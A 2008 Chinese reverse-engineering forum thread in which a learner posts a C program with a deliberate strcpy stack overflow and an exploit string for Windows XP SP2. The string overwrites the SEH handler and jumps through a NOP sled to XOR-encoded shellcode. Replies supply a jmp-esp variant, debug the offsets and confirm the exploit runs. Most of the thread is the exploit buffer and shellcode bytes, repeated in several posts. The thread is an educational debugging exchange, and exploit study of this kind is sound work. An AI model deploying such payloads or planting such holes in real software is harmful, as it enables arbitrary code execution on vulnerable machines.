首页
社区
课程
招聘
[旧帖] [求助]一个简单的堆栈溢出漏洞利用的例子 0.00雪花
发表于: 2008-3-4 10:24 7415

[旧帖] [求助]一个简单的堆栈溢出漏洞利用的例子 0.00雪花

2008-3-4 10:24
7415
我是新手,正在学习windows下的缓冲区溢出漏洞,看了关于SEH利用之后,写了个简单的例子。
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void print(char* p) //有问题的函数,参数过长发生溢出
{
        char name[8];
        strcpy(name, p);
        printf("name has copyed...\n");
}

char para[]="AAAAAAAA"
                "AAAA" //覆盖eip
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"
                "AAAAAAAAAAAAAAAA"        //下一个就是SEH链的第一个指针了
                "\x90\x90\xEB\x04"        //放置jmp 04 (注意代码的顺序和实际顺序相同)
                "\x71\x15\xfa\x7f" //放置pop pop ret的地址(地址的顺序和实际相反)
                //放置shellcode
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\xEB\x0E\x5B\x4B\x33\xC9\xB1" //decode1 通过call获得代码地址
                "\x2C"          // shellcode size 1byte
                "\x80\x34\x0B"
                "\xAA"          // xor byte
                "\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"
               
                "\xff\x21\x46\xc2\xf8\xfe\xaa\xaa\xc2\xe7\xf9\xfc"  //异或后的shellcode 长度为46
                "\xe9\xfe\x12\xdd\xb7\x2a\xd6\x55\x7a\xc2\xc9\xc5\xc7\xaa"
                "\xc2\xcb\xc4\xce\x84\xc2\xc9\xc5\xc7\xc7\xfe\x12\x6d\x39"
                "\x15\xdd\x55\x7a";

void main()
{               
        print(para);
}


覆盖SEH的指针定位到shellcode区,shellcode经过了异或编码,所以已开始是解码的程序,后面跟着真正的shellcode,但是我用ollydbg调试跟踪到shellcode代码时发现,在解码的过程中,出现 写入到[XXXXXXXX]出错,所以导致shellcode发生异常,无法顺利执行,请问这种情况如何处理?
(我用的是winxp sp2,VC6)

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 134
活跃值: (84)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2
这个应该是seh overwrite.blackhat-forums上有个paper上写的很清楚。
2008-3-4 12:32
0
雪    币: 220
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
char para[]="AAAAAAAA"//这8个字符覆盖char name[8]
    "\x90\x90\xEB\x04"  //这个覆盖print函数内部保存的ebp
    "\xCD\x54\xFA\x7F"  //这个地址的数据就是FFE4即jmp esp
      //"\x71\x15\xfa\x7f"  //在我的机子上不是这个

     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xEB\x0E\x5B\x4B\x33\xC9\xB1" //decode1 通过call获得代码地址
    "\x2C"          // shellcode size 1byte
    "\x80\x34\x0B"
    "\xAA"          // xor byte
    "\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"
   
    "\xff\x21\x46\xc2\xf8\xfe\xaa\xaa\xc2\xe7\xf9\xfc"  //异或后的shellcode 长度为46
    "\xe9\xfe\x12\xdd\xb7\x2a\xd6\x55\x7a\xc2\xc9\xc5\xc7\xaa"
    "\xc2\xcb\xc4\xce\x84\xc2\xc9\xc5\xc7\xc7\xfe\x12\x6d\x39"
    "\x15\xdd\x55\x7a";
2008-3-4 13:05
0
雪    币: 220
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
这段代码很好很强大 收藏
2008-3-4 13:07
0
雪    币: 220
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
现在才看到"看了关于SEH利用之后,写了个简单的例子。",知道你的意思。不过这个代码的SEH链在接近堆栈底部,很难使用。中间大该需要有0x84字节的填充物。
2008-3-4 14:23
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
che
6
高人能说得清楚点么?我这个shellcode已经没什么功能了。。。难道必须缩短么?
SEH在xp里面还不是最先执行的,在SEH之前还有个VEH,但是我这里找不到关于VEH的资料。而且SEH在xp里似乎确实可以利用。。。谢谢大家,请您说得详细点。。。
2008-3-4 14:27
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
che
7
谢谢大家,能给我个链接么?
2008-3-4 14:28
0
雪    币: 220
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
感觉这段代码有问题,没有实现溢出,可能是你从某个例子上抄下来的,在这里不能应用,因为程序不一样,SEH链的位置也不一样
char para[]="AAAAAAAA"
    "AAAA" //覆盖eip
    "AAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAA"  //下面还不是SEH链的指针
    "\x90\x90\xEB\x04"  
    "\x71\x15\xfa\x7f" //pop pop ret的地址 这个ret的要返回到哪里?此时堆栈数据是90909090啊?
    //放置shellcode
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xEB\x0E\x5B\x4B\x33\xC9\xB1" //decode1 通过call获得代码地址
    "\x2C"          // shellcode size 1byte
    "\x80\x34\x0B"
    "\xAA"          // xor byte
    "\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"
   
    "\xff\x21\x46\xc2\xf8\xfe\xaa\xaa\xc2\xe7\xf9\xfc"  //异或后的shellcode 长度为46
    "\xe9\xfe\x12\xdd\xb7\x2a\xd6\x55\x7a\xc2\xc9\xc5\xc7\xaa"
    "\xc2\xcb\xc4\xce\x84\xc2\xc9\xc5\xc7\xc7\xfe\x12\x6d\x39"
    "\x15\xdd\x55\x7a";
2008-3-4 16:18
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
che
9
[QUOTE=compiler;423909]感觉这段代码有问题,没有实现溢出,可能是你从某个例子上抄下来的,在这里不能应用,因为程序不一样,SEH链的位置也不一样
char para[]="AAAAAAAA"
    "AAAA" //覆盖eip
    "AAAAAAAAAAAAAAA...[/QUOTE]

这是我用ollydbg调出来的,可以运行定位到shellcode的地方,这个例子是我自己写的~~~~问题就是进入这段shellcode后,某个地址不能写,所以在seh里又发生了异常,我的代码只能执行几个循环就被中断了~
2008-3-4 16:53
0
雪    币: 220
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
我通过3楼的代码验证过,下面这段代码没问题,这就怪了...........
"\xEB\x0E\x5B\x4B\x33\xC9\xB1" //decode1 通过call获得代码地址
    "\x2C"          // shellcode size 1byte
    "\x80\x34\x0B"
    "\xAA"          // xor byte
    "\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF"
   
    "\xff\x21\x46\xc2\xf8\xfe\xaa\xaa\xc2\xe7\xf9\xfc"  //异或后的shellcode 长度为46
    "\xe9\xfe\x12\xdd\xb7\x2a\xd6\x55\x7a\xc2\xc9\xc5\xc7\xaa"
    "\xc2\xcb\xc4\xce\x84\xc2\xc9\xc5\xc7\xc7\xfe\x12\x6d\x39"
    "\x15\xdd\x55\x7a";
2008-3-4 17:00
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
che
11
你三楼的程序是利用覆盖eip的方法,我用的是SEH链,今天早上没事儿又调试了一下,结果通过了,莫名其妙
你如果是xpsp2的话不妨试试我这个,程序用release的:)
(我去掉了中间的两行\x90)
2008-3-5 10:48
0
游客
登录 | 注册 方可回帖
返回